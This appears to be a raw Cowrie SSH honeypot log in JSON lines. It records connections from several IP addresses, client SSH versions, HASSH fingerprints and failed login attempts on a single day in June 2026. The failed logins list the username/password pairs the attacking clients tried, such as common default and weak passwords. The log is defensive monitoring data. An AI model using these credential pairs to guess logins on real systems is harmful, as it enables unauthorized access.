{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:13.564801Z","src_ip":"91.92.40.36","session":"2bb500a5afb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tony","password":"tony","message":"login attempt [tony/tony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:14.043343Z","src_ip":"91.92.40.36","session":"5e3897a4058b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User5678Admin","message":"login attempt [root/User5678Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:14.715417Z","src_ip":"27.71.230.31","session":"100e9d9636e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"123456","message":"login attempt [client/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:15.368300Z","src_ip":"91.92.40.36","session":"2bb500a5afb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:16.107297Z","src_ip":"27.71.230.31","session":"100e9d9636e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":42668,"dst_ip":"10.17.0.5","dst_port":22,"session":"255aa4189faf","protocol":"ssh","message":"New connection: 163.7.9.84:42668 (10.17.0.5:22) [session: 255aa4189faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:16.405697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:16.409941Z","src_ip":"163.7.9.84","session":"255aa4189faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:16.505053Z","src_ip":"91.92.40.36","session":"5e3897a4058b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:16.666128Z","src_ip":"163.7.9.84","session":"255aa4189faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:17.098379Z","src_ip":"91.92.40.36","session":"2bb500a5afb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yankai","password":"yankai123","message":"login attempt [yankai/yankai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:17.732711Z","src_ip":"163.7.9.84","session":"255aa4189faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:18.992770Z","src_ip":"163.7.9.84","session":"255aa4189faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58486,"dst_ip":"10.17.0.5","dst_port":22,"session":"8caa4b85803a","protocol":"ssh","message":"New connection: 91.92.40.36:58486 (10.17.0.5:22) [session: 8caa4b85803a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:20.104230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:20.808586Z","src_ip":"91.92.40.36","session":"8caa4b85803a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:20.844428Z","src_ip":"91.92.40.36","session":"8caa4b85803a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5863,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f929a4f1c60","protocol":"ssh","message":"New connection: 196.188.93.169:5863 (10.17.0.5:22) [session: 2f929a4f1c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:22.778511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:22.782696Z","src_ip":"196.188.93.169","session":"2f929a4f1c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:22.958398Z","src_ip":"196.188.93.169","session":"2f929a4f1c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yangy","password":"yangy","message":"login attempt [yangy/yangy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:23.689011Z","src_ip":"196.188.93.169","session":"2f929a4f1c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:24.279918Z","src_ip":"91.92.40.36","session":"8caa4b85803a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:24.865507Z","src_ip":"196.188.93.169","session":"2f929a4f1c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:26.075816Z","src_ip":"91.92.40.36","session":"8caa4b85803a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44268,"dst_ip":"10.17.0.5","dst_port":22,"session":"73fd89da5d14","protocol":"ssh","message":"New connection: 91.92.40.36:44268 (10.17.0.5:22) [session: 73fd89da5d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:28.054698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:28.938959Z","src_ip":"91.92.40.36","session":"73fd89da5d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:28.941985Z","src_ip":"91.92.40.36","session":"73fd89da5d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX3EDC","message":"login attempt [root/1QAZ2WSX3EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:32.899711Z","src_ip":"91.92.40.36","session":"73fd89da5d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":47624,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3a8386b708","protocol":"ssh","message":"New connection: 102.213.34.99:47624 (159.203.135.109:22) [session: 1d3a8386b708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:33.666692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:33.671702Z","src_ip":"102.213.34.99","session":"1d3a8386b708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:33.842540Z","src_ip":"102.213.34.99","session":"1d3a8386b708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yogesh","password":"yogesh@123","message":"login attempt [yogesh/yogesh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:34.561162Z","src_ip":"102.213.34.99","session":"1d3a8386b708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:34.688470Z","src_ip":"91.92.40.36","session":"73fd89da5d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:35.733526Z","src_ip":"102.213.34.99","session":"1d3a8386b708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29876,"dst_ip":"10.17.0.5","dst_port":22,"session":"2661ee539d4f","protocol":"ssh","message":"New connection: 91.92.40.36:29876 (10.17.0.5:22) [session: 2661ee539d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:36.280064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:37.125715Z","src_ip":"91.92.40.36","session":"2661ee539d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:37.131757Z","src_ip":"91.92.40.36","session":"2661ee539d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:40.267799Z","src_ip":"91.92.40.36","session":"2661ee539d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:41.964913Z","src_ip":"91.92.40.36","session":"2661ee539d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29974,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d27e3e29241","protocol":"ssh","message":"New connection: 91.92.40.36:29974 (10.17.0.5:22) [session: 2d27e3e29241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:43.035667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:43.649628Z","src_ip":"91.92.40.36","session":"2d27e3e29241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:43.653201Z","src_ip":"91.92.40.36","session":"2d27e3e29241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:47.098391Z","src_ip":"91.92.40.36","session":"2d27e3e29241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60356,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca01ae36a426","protocol":"ssh","message":"New connection: 103.15.222.183:60356 (159.203.135.109:22) [session: ca01ae36a426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:48.308484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:16:48.314129Z","src_ip":"103.15.222.183","session":"ca01ae36a426","protocol":"ssh"}
